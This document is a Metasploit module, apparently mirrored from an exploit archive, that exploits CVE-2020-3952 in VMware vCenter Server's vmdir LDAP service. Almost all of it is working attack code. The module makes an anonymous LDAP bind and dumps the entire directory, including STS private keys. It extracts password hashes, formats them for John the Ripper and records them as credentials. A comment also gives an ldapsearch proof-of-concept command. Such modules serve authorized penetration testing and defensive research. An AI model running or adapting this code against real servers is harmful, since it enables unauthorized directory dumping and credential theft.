Share
## https://sploitus.com/exploit?id=PACKETSTORM:180643
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::LDAP  
include Msf::OptionalSession::LDAP  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware vCenter Server vmdir Information Disclosure',  
'Description' => %q{  
This module uses an anonymous-bind LDAP connection to dump data from  
the vmdir service in VMware vCenter Server version 6.7 prior to the  
6.7U3f update, only if upgraded from a previous release line, such as  
6.0 or 6.5.  
If the bind username and password are provided (BIND_DN and BIND_PW  
options), these credentials will be used instead of attempting an  
anonymous bind.  
},  
'Author' => [  
'Hynek Petrak', # Discovery, hash dumping  
'wvu' # Module  
],  
'References' => [  
['CVE', '2020-3952'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']  
],  
'DisclosureDate' => '2020-04-09', # Vendor advisory  
'License' => MSF_LICENSE,  
'Actions' => [  
['Dump', { 'Description' => 'Dump all LDAP data' }]  
],  
'DefaultAction' => 'Dump',  
'DefaultOptions' => {  
'SSL' => true,  
'RPORT' => 636  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options([  
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it'])  
])  
end  
  
def base_dn  
@base_dn ||= 'dc=vsphere,dc=local'  
end  
  
def policy_dn  
"cn=password and lockout policy,#{base_dn}"  
end  
  
# PoC using ldapsearch(1):  
#  
# Retrieve root DSE with base DN:  
# ldapsearch -xb "" -s base -H ldap://[redacted]  
#  
# Dump data using discovered base DN:  
# ldapsearch -xb dc=vsphere,dc=local -H ldap://[redacted] \* + -  
def run  
entries = nil  
  
ldap_connect do |ldap|  
if (@base_dn = datastore['BASE_DN'])  
print_status("User-specified base DN: #{base_dn}")  
else  
print_status('Discovering base DN automatically')  
  
unless (@base_dn = ldap.base_dn)  
print_warning('Falling back on default base DN dc=vsphere,dc=local')  
end  
end  
  
print_status("Dumping LDAP data from vmdir service at #{ldap.peerinfo}")  
  
# A "-" meta-attribute will dump userPassword (hat tip Hynek)  
# https://github.com/vmware/lightwave/blob/3bc154f823928fa0cf3605cc04d95a859a15c2a2/vmdir/server/ldap-head/result.c#L647-L654  
entries = ldap.search(base: base_dn, attributes: %w[* + -])  
  
# Look for an entry with a non-empty vmwSTSPrivateKey attribute  
unless entries&.find { |entry| entry[:vmwstsprivatekey].any? }  
print_error("#{ldap.peerinfo} is NOT vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?  
print_error('Dump failed')  
return Exploit::CheckCode::Safe  
end  
  
print_good("#{ldap.peerinfo} is vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?  
pillage(entries)  
  
# HACK: Stash discovered base DN in CheckCode reason  
Exploit::CheckCode::Vulnerable(base_dn)  
end  
rescue Net::LDAP::Error => e  
print_error("#{e.class}: #{e.message}")  
Exploit::CheckCode::Unknown  
end  
  
def pillage(entries)  
# TODO: Make this more efficient?  
ldif = entries.map(&:to_ldif).map { |s| s.force_encoding('utf-8') }.join("\n")  
  
print_status('Storing LDAP data in loot')  
  
ldif_filename = store_loot(  
name, # ltype  
'text/plain', # ctype  
rhost, # host  
ldif, # data  
nil, # filename  
"Base DN: #{base_dn}" # info  
)  
  
unless ldif_filename  
print_error('Could not store LDAP data in loot')  
return  
end  
  
print_good("Saved LDAP data to #{ldif_filename}")  
  
if (policy = entries.find { |entry| entry.dn == policy_dn })  
print_status('Password and lockout policy:')  
print_line(policy.to_ldif[/^vmwpassword.*/m])  
end  
  
# Process entries with a non-empty userPassword attribute  
process_hashes(entries.select { |entry| entry[:userpassword].any? })  
end  
  
def process_hashes(entries)  
if entries.empty?  
print_status('No password hashes found')  
return  
end  
  
service_details = {  
workspace_id: myworkspace_id,  
module_fullname: fullname,  
origin_type: :service,  
address: rhost,  
port: rport,  
protocol: 'tcp',  
service_name: 'vmdir/ldap'  
}  
  
entries.each do |entry|  
# This is the "username"  
dn = entry.dn  
  
# https://github.com/vmware/lightwave/blob/3bc154f823928fa0cf3605cc04d95a859a15c2a2/vmdir/server/middle-layer/password.c#L32-L76  
type, hash, salt = entry[:userpassword].first.unpack('CH128H32')  
  
case type  
when 1  
unless hash.length == 128  
vprint_error("Type #{type} hash length is not 128 digits (#{dn})")  
next  
end  
  
unless salt.length == 32  
vprint_error("Type #{type} salt length is not 32 digits (#{dn})")  
next  
end  
  
# https://github.com/magnumripper/JohnTheRipper/blob/2778d2e9df4aa852d0bc4bfbb7b7f3dde2935b0c/doc/DYNAMIC#L197  
john_hash = "$dynamic_82$#{hash}$HEX$#{salt}"  
else  
vprint_error("Hash type #{type.inspect} is not supported yet (#{dn})")  
next  
end  
  
print_good("Credentials found: #{dn}:#{john_hash}")  
  
create_credential(service_details.merge(  
username: dn,  
private_data: john_hash,  
private_type: :nonreplayable_hash,  
jtr_format: Metasploit::Framework::Hashes.identify_hash(john_hash)  
))  
end  
end  
  
end